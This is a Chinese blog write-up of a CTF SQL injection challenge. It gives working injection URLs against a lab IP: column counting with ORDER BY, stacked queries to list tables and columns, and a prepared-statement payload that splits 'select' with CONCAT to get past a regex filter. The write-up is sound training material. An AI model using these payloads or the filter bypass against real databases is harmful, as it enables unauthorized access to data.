攻防世界之SQL注入

樱花树下,樱花飘零,唯我独自一人仰望天空,思念着你!

上次我做到了模板注入,感觉还是比较困难的(就这?就这?)然后今天我就来更一个正统的sql注入话不多说我们直接上环境

可以看到这次的题目十分有逼格哈哈哈,先来一个 ‘ 来测试一下发现注释掉之后就返回正常了

接下来我们来猜表单发现返回值为3就不正常了,于是我们得到他的表单数

220.249.52.133:57521/?inject=1%27order%20by%203%20%23

这时候我们是有 show tables来查看所有表名字

然后我查看字段得到我想要的flag

220.249.52.133:57521/?inject=-1%27;show%20columns%20from%20`1919810931114514`%20%23

正当我打算使用select来爆出值来,但是我发现select被正则过滤了

我打算采用预处理的方式来绕过正则

220.249.52.133:57521/?inject=-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

我们把这个语句分开来分析一下

1.set @sql = CONCAT(‘se’,’lect * from 1919810931114514;’);
2.prepare stmt from @sql;
3.EXECUTE stmt;

1.concat是用来拼接的然后定义sql
2.这里我们使用prepare来进行预处理
PREPARE statement_name FROM sql_text /定义/ 这是语法
3.我们这里直接执行stmt得到结果

这个主要来拓展的是数据库的预处理来绕过正则,其他就是很基本的东西了!

留下评论